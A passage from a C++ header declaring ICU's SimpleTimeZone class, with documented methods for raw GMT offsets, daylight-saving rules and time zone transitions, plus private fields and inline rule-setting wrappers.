day, uint8_t dayOfWeek, int32_t milliseconds, int32_t monthLength, int32_t prevMonthLength, UErrorCode& status) const; /** * Redeclared TimeZone method. This implementation simply calls * the base class method, which otherwise would be hidden. * @stable ICU 2.8 */ virtual void getOffset(UDate date, UBool local, int32_t& rawOffset, int32_t& dstOffset, UErrorCode& ec) const; /** * Get time zone offsets from local wall time. * @internal */ virtual void getOffsetFromLocal(UDate date, int32_t nonExistingTimeOpt, int32_t duplicatedTimeOpt, int32_t& rawOffset, int32_t& dstOffset, UErrorCode& status) const; /** * Returns the TimeZone's raw GMT offset (i.e., the number of milliseconds to add * to GMT to get local time, before taking daylight savings time into account). * * @return The TimeZone's raw GMT offset. * @stable ICU 2.0 */ virtual int32_t getRawOffset(void) const; /** * Sets the TimeZone's raw GMT offset (i.e., the number of milliseconds to add * to GMT to get local time, before taking daylight savings time into account). * * @param offsetMillis The new raw GMT offset for this time zone. * @stable ICU 2.0 */ virtual void setRawOffset(int32_t offsetMillis); /** * Sets the amount of time in ms that the clock is advanced during DST. * @param millisSavedDuringDST the number of milliseconds the time is * advanced with respect to standard time when the daylight savings rules * are in effect. Typically one hour (+3600000). The amount could be negative, * but not 0. * @param status An UErrorCode to receive the status. * @stable ICU 2.0 */ void setDSTSavings(int32_t millisSavedDuringDST, UErrorCode& status); /** * Returns the amount of time in ms that the clock is advanced during DST. * @return the number of milliseconds the time is * advanced with respect to standard time when the daylight savings rules * are in effect. Typically one hour (+3600000). The amount could be negative, * but not 0. * @stable ICU 2.0 */ virtual int32_t getDSTSavings(void) const; /** * Queries if this TimeZone uses Daylight Savings Time. * * @return True if this TimeZone uses Daylight Savings Time; false otherwise. * @stable ICU 2.0 */ virtual UBool useDaylightTime(void) const; /** * Returns true if the given date is within the period when daylight savings time * is in effect; false otherwise. If the TimeZone doesn't observe daylight savings * time, this functions always returns false. * This method is wasteful since it creates a new GregorianCalendar and * deletes it each time it is called. This is a deprecated method * and provided only for Java compatibility. * * @param date The date to test. * @param status An UErrorCode to receive the status. * @return true if the given date is in Daylight Savings Time; * false otherwise. * @deprecated ICU 2.4. Use Calendar::inDaylightTime() instead. */ virtual UBool inDaylightTime(UDate date, UErrorCode& status) const; /** * Return true if this zone has the same rules and offset as another zone. * @param other the TimeZone object to be compared with * @return true if the given zone has the same rules and offset as this one * @stable ICU 2.0 */ UBool hasSameRules(const TimeZone& other) const; /** * Clones TimeZone objects polymorphically. Clients are responsible for deleting * the TimeZone object cloned. * * @return A new copy of this TimeZone object. * @stable ICU 2.0 */ virtual TimeZone* clone(void) const; /** * Gets the first time zone transition after the base time. * @param base The base time. * @param inclusive Whether the base time is inclusive or not. * @param result Receives the first transition after the base time. * @return TRUE if the transition is found. * @stable ICU 3.8 */ virtual UBool getNextTransition(UDate base, UBool inclusive, TimeZoneTransition& result) const; /** * Gets the most recent time zone transition before the base time. * @param base The base time. * @param inclusive Whether the base time is inclusive or not. * @param result Receives the most recent transition before the base time. * @return TRUE if the transition is found. * @stable ICU 3.8 */ virtual UBool getPreviousTransition(UDate base, UBool inclusive, TimeZoneTransition& result) const; /** * Returns the number of <code>TimeZoneRule</code>s which represents time transitions, * for this time zone, that is, all <code>TimeZoneRule</code>s for this time zone except * <code>InitialTimeZoneRule</code>. The return value range is 0 or any positive value. * @param status Receives error status code. * @return The number of <code>TimeZoneRule</code>s representing time transitions. * @stable ICU 3.8 */ virtual int32_t countTransitionRules(UErrorCode& status) const; /** * Gets the <code>InitialTimeZoneRule</code> and the set of <code>TimeZoneRule</code> * which represent time transitions for this time zone. On successful return, * the argument initial points to non-NULL <code>InitialTimeZoneRule</code> and * the array trsrules is filled with 0 or multiple <code>TimeZoneRule</code> * instances up to the size specified by trscount. The results are referencing the * rule instance held by this time zone instance. Therefore, after this time zone * is destructed, they are no longer available. * @param initial Receives the initial timezone rule * @param trsrules Receives the timezone transition rules * @param trscount On input, specify the size of the array 'transitions' receiving * the timezone transition rules. On output, actual number of * rules filled in the array will be set. * @param status Receives error status code. * @stable ICU 3.8 */ virtual void getTimeZoneRules(const InitialTimeZoneRule*& initial, const TimeZoneRule* trsrules[], int32_t& trscount, UErrorCode& status) const; public: /** * Override TimeZone Returns a unique class ID POLYMORPHICALLY. Pure virtual * override. This method is to implement a simple version of RTTI, since not all C++ * compilers support genuine RTTI. Polymorphic operator==() and clone() methods call * this method. * * @return The class ID for this object. All objects of a given class have the * same class ID. Objects of other classes have different class IDs. * @stable ICU 2.0 */ virtual UClassID getDynamicClassID(void) const; /** * Return the class ID for this class. This is useful only for comparing to a return * value from getDynamicClassID(). For example: * <pre> * . Base* polymorphic_pointer = createPolymorphicObject(); * . if (polymorphic_pointer->getDynamicClassID() == * . Derived::getStaticClassID()) ... * </pre> * @return The class ID for all objects of this class. * @stable ICU 2.0 */ static UClassID U_EXPORT2 getStaticClassID(void); private: /** * Constants specifying values of startMode and endMode. */ enum EMode { DOM_MODE = 1, DOW_IN_MONTH_MODE, DOW_GE_DOM_MODE, DOW_LE_DOM_MODE }; SimpleTimeZone(); // default constructor not implemented /** * Internal construction method. * @param rawOffsetGMT The new SimpleTimeZone's raw GMT offset * @param startMonth the month DST starts * @param startDay the day DST starts * @param startDayOfWeek the DOW DST starts * @param startTime the time DST starts * @param startTimeMode Whether the start time is local wall time, local * standard time, or UTC time. Default is local wall time. * @param endMonth the month DST ends * @param endDay the day DST ends * @param endDayOfWeek the DOW DST ends * @param endTime the time DST ends * @param endTimeMode Whether the end time is local wall time, local * standard time, or UTC time. Default is local wall time. * @param dstSavings The number of milliseconds added to standard time * to get DST time. Default is one hour. * @param status An UErrorCode to receive the status. */ void construct(int32_t rawOffsetGMT, int8_t startMonth, int8_t startDay, int8_t startDayOfWeek, int32_t startTime, TimeMode startTimeMode, int8_t endMonth, int8_t endDay, int8_t endDayOfWeek, int32_t endTime, TimeMode endTimeMode, int32_t dstSavings, UErrorCode& status); /** * Compare a given date in the year to a rule. Return 1, 0, or -1, depending * on whether the date is after, equal to, or before the rule date. The * millis are compared directly against the ruleMillis, so any * standard-daylight adjustments must be handled by the caller. * * @return 1 if the date is after the rule date, -1 if the date is before * the rule date, or 0 if the date is equal to the rule date. */ static int32_t compareToRule(int8_t month, int8_t monthLen, int8_t prevMonthLen, int8_t dayOfMonth, int8_t dayOfWeek, int32_t millis, int32_t millisDelta, EMode ruleMode, int8_t ruleMonth, int8_t ruleDayOfWeek, int8_t ruleDay, int32_t ruleMillis); /** * Given a set of encoded rules in startDay and startDayOfMonth, decode * them and set the startMode appropriately. Do the same for endDay and * endDayOfMonth. * <P> * Upon entry, the day of week variables may be zero or * negative, in order to indicate special modes. The day of month * variables may also be negative. * <P> * Upon exit, the mode variables will be * set, and the day of week and day of month variables will be positive. * <P> * This method also recognizes a startDay or endDay of zero as indicating * no DST. */ void decodeRules(UErrorCode& status); void decodeStartRule(UErrorCode& status); void decodeEndRule(UErrorCode& status); int8_t startMonth, startDay, startDayOfWeek; // the month, day, DOW, and time DST starts int32_t startTime; TimeMode startTimeMode, endTimeMode; // Mode for startTime, endTime; see TimeMode int8_t endMonth, endDay, endDayOfWeek; // the month, day, DOW, and time DST ends int32_t endTime; int32_t startYear; // the year these DST rules took effect int32_t rawOffset; // the TimeZone's raw GMT offset UBool useDaylight; // flag indicating whether this TimeZone uses DST static const int8_t STATICMONTHLENGTH[12]; // lengths of the months EMode startMode, endMode; // flags indicating what kind of rules the DST rules are /** * A positive value indicating the amount of time saved during DST in ms. * Typically one hour; sometimes 30 minutes. */ int32_t dstSavings; /* Private for BasicTimeZone implementation */ void checkTransitionRules(UErrorCode& status) const; void initTransitionRules(UErrorCode& status); void clearTransitionRules(void); void deleteTransitionRules(void); UBool transitionRulesInitialized; InitialTimeZoneRule* initialRule; TimeZoneTransition* firstTransition; AnnualTimeZoneRule* stdRule; AnnualTimeZoneRule* dstRule; }; inline void SimpleTimeZone::setStartRule(int32_t month, int32_t dayOfWeekInMonth, int32_t dayOfWeek, int32_t time, UErrorCode& status) { setStartRule(month, dayOfWeekInMonth, dayOfWeek, time, WALL_TIME, status); } inline void SimpleTimeZone::setStartRule(int32_t month, int32_t dayOfMonth, int32_t time, UErrorCode& status) { setStartRule(month, dayOfMonth, time, WALL_TIME, status); } inline void SimpleTimeZone::setStartRule(int32_t month, int32_t dayOfMonth, int32_t dayOfWeek, int32_t time, UBool after, UErrorCode& status) { setStartRule(month, dayOfMonth, dayOfWeek, time, WALL_TIME, after, status); } inline void SimpleTimeZone::setEndRule(int32_t month, int32_t dayOfWeekInMonth, int32_t dayOfWeek, int32_t time, UErrorCode& status) { setEndRule(month, dayOfWeekInMonth, dayOfWeek, time, WALL_TIME, status); } inline void SimpleTimeZone::setEndRule(int32_t month, int32_t dayOfMonth, int32_t time, UErrorCode& status) { setEndRule(month, dayOfMonth, time, WALL_TIME, status); } inline void SimpleTimeZone::setEndRule(int32_t month, int32_t dayOfMonth, int32_t dayOfWeek, int32_t time, UBool after, UErrorCode& status) { setEndRule(month, dayOfMonth, dayOfWeek, time, WALL_TIME, after, status); } inline void SimpleTimeZone::getOffset(UDate date, UBool local, int32_t& rawOffsetRef, int32_t& dstOffsetRef, UErrorCode& ec) const { TimeZone::getOffset(date, local, rawOffsetRef, dstOffsetRef, ec); } U_NAMESPACE_END #endif /* #if !UCONFIG_NO_FORMATTING */ #endif // _SIMPLETZ
Close